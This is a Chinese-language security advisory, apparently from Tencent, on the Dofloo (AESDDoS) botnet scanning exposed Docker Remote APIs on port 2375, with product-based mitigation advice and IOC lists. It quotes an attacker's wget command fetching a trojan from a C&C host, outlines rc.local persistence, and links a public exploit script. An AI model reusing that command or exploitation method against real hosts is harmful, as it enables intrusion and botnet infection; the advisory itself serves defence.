Dofloo（AESDDoS）僵尸 *** 正批量扫描、攻击 Docker 容器
腾讯安全威胁情报中心检测到Dofloo（AESDDoS）僵尸 *** 正批量扫描和攻击Docker容器。部分云主机上部署的Docker容器没有针对远程访问做安全认证，存在Remote API允许未授权使用漏洞且暴露在公网，导致黑客通过漏洞入侵并植入Dofloo僵尸 *** 木马。
云计算兴起后，服务器硬件扩展非常便利，软件服务部署成为了瓶颈，Docker作为开源的引擎可以轻松地为任何应用创建一个轻量级的、可移植的、自给自足的容器，因而逐渐得到广泛应用。
而开发者在部署Docker时未对相关服务进行正确合理的配置导致其容易成为黑客入侵的路径之一，之前已有H2Miner利用Docker漏洞进行入侵挖矿的案例被披露（https://mp.weixin.qq.com/s/iNq8SdTZ9IrttAoQYLJw5A）。此次Dofloo僵尸 *** 入侵系统后，会搜集系统敏感信息并加密上传，接收C&C服务器指令，执行各类DDoS攻击。
腾讯安全系列产品已支持检测Dofloo（AESDDoS）僵尸 *** 的最新变种，企业安全运维人员如果发现已经中招，可对照分析报告的详细内容，将攻击者下载安装的文件和启动项删除，再参考以下安全响应清单进行排查，修复Remote API允许未授权使用的漏洞，避免再次遭遇入侵。
具体响应清单如下：
场景
胁
情
报
威胁情报云查服务
（SaaS）
各类安全产品可通过“威胁情报云查服务”提供的接口提升威胁识别能力。可参考:https://cloud.tencent.com/product/tics
高级威胁追溯系统
网管可通过威胁追溯系统，分析日志，进行线索研判、追溯 *** 入侵源头。T-Sec高级威胁追溯系统的更多信息，可参考：https://cloud.tencent.com/product/atts
防护
（Cloud Firewall，CFW）
1）Dofloo僵尸 *** 关联的IOCs已支持识别检测；
2）检测Docker未授权访问漏洞利用攻击。
有关云防火墙的更多信息，可参考：
https://cloud.tencent.com/product/cfw
（Cloud Workload Protection，CWP）
2）已支持Docker Daemon 2375管理端口开启的风险项检测。
腾讯主机安全（云镜）提供云上终端的防毒杀毒、防入侵、漏洞管理、基线管理等。关于T-Sec主机安全的更多信息，可参考：https://cloud.tencent.com/product/cwp
关于腾讯T-Sec安全运营中心的更多信息，可参考：https://s.tencent.com/product/soc/index.html
高级威胁检测系统
（腾讯御界）
2）检测Docker未授权访问漏洞利用攻击；
3）检测DDoS攻击流量；
关于T-Sec高级威胁检测系统的更多信息，可参考：
https://cloud.tencent.com/product/nta
在此次攻击中，攻击者首先通过向端口2375(与Docker守护进程通信的默认端口)发送TCP SYN数据包对给定的IP范围进行批量扫描。确定开放端口的目标IP后，发送请求调用/containers/json接口获取正在运行中的容器列表，之后使用Docker EXEC命令执行以下shell访问公开主机中所有正在运行的容器并下载木马Linux2.7。
获取容器列表：
针对运行状态的容器利用Docker EXEC执行木马下载命令： wget -P /tmp/ http[:]//49.235.238.111:88/Linux2.7 被下载的Dofloo僵尸 *** 木马Linux2.7会连接到49.235.238.111:48080来发送和接收来自攻击者的远程shell命令。 Dofloo僵尸 *** 还会在从被感染系统窃取信息，包括操作系统版本，CPU型号、速度和类型。 通过将自身路径写入/etc/rc.local、/etc/rc.d/rc.local、/etc/init.d/boot.local文件中以添加为自启动项。使用AES算法对窃取的系统信息和命令和控制（C＆C）数据进行加密。 此Dofloo变种能够发起各种类型的DDoS攻击，包括DNS、SYN，LSYN，UDP，UDPS，TCP和CC Flood。
IOCs
C&C
49.235.238.111:48080
175.24.123.205: 48080
IP
49.235.238.111
89.40.73.126
175.24.123.205
URL
http[:]//49.235.238.111[:]88/Linux2.7
http[:]//49.235.238.111/Lov.sh
http[:]//49.235.238.111/lix
http[:]//49.235.238.111/Verto
http[:]//49.235.238.111[:]88/NgYx
http[:]//49.235.238.111/linux-arm
http[:]//49.235.238.111/shre.sh
http[:]//89.40.73.126[:]8080/Linux2.7
http[:]//89.40.73.126/linux2.6
http[:]//89.40.73.126[:]8080/linux-arm
http[:]//89.40.73.126[:]8080/Linux2.6
http[:]//89.40.73.126[:]8080/YmY
http[:]//89.40.73.126[:]8080/LTF
http[:]//89.40.73.126[:]8080/NgYx
http[:]//89.40.73.126[:]8080/Mar
http[:]//89.40.73.126[:]8080/linux2.6
http[:]//89.40.73.126[:]8080/Flood
http[:]//175.24.123.205:88/Fck
MD5
参考链接：
https://www.trendmicro.com/en_us/research/19/f/aesddos-botnet-malware-infiltrates-containers-via-exposed-docker-apis.html
https://github.com/SPuerBRead/Docker-Remote-API-Exploit/blob/master/dockerAPI_Exploit.py
“Dofloo（AESDDoS）僵尸 *** 正批量扫描、攻击 Docker 容器” 的相关文章
黑客演示入侵电影制片人 Mac 计算机 证明 macOS 无法主动抵御网络威胁
近日，两位安全研究人员成功入侵了亿万富翁兼电影制片人 Jeffrey Katzenberg 的 Mac 计算机，意味着 macOS 设备并不能自动抵御网络威胁。虽然没有提到特定的 macOS 设备型号，深谙社会工程的 SocialProof Security 首席执行官 Rachel Tobac 还...
TerraMaster 操作系统漏洞可能使 NAS 设备遭到远程黑客攻击
Hackernews 编译，转载请注明出处： 研究人员披露了 TerraMaster NAS设备的关键安全漏洞的细节，这些设备可以链接到未经身份验证的远程代码执行，且具有最高权限。 埃塞俄比亚网络安全研究公司 Octagon Networks 的 Paulos yibello 在分...
美政府悬赏 1000 万美元来寻找能够识别或定位俄黑客组织 Sandworm 成员的信息
据TechCrunch报道，美国政府通过悬赏1000万美元来寻找能够识别或定位黑客组织Sandworm成员的信息，从而加大了对六名俄罗斯情报官员的追捕力度。黑客组织Sandworm的成员为俄罗斯军事情报部门GRU的一个部门工作–以对关键基础设施，包括食品供应和能源部门发起破坏性和毁灭性的网络攻击而闻...
不少 WordPress 网站被注入恶意脚本 对乌克兰网站发起 DDoS 攻击
不少 WordPress 网站正在遭受黑客们的攻击，通过注入的恶意脚本，利用访问者的浏览器对乌克兰网站进行分布式拒绝服务攻击。今天，MalwareHunterTeam 发现一个 WordPress 网站被入侵使用这个脚本，针对十个网站进行分布式拒绝服务（DDoS）攻击。 这些网站包括乌克兰政府机构、...
宜家加拿大分公司通报数据泄露事件 影响约 95000 名客户
当地时间5月6日，宜家（IKEA）加拿大公司表示已经将该公司大约9.5万名客户的个人信息数据泄露事件通报给加拿大的隐私监管机构。宜家（IKEA）加拿大公司在致受影响客户的一封信中表示，可能已被泄露的数据包括客户姓名、电子邮件地址、电话号码和邮政编码。 宜家加拿大公司已通知加拿大隐私专员，因为有95...
美敦力公司召回部分胰岛素泵控制器，以应对网络攻击风险
医疗设备制造商美敦力公司(Medtronic)已召回其部分胰岛素泵使用的遥控器，因为这些遥控器存在严重的漏洞，可能导致患者受伤或死亡。 攻击者可以利用漏洞来改变胰岛素泵提供给病人的剂量。 “MiniMed™远程控制器使用无线射频(RF)与胰岛素泵通信，可以在不按任何胰岛素泵按钮的情况下将一定量的胰岛...
评论列表
发表评论
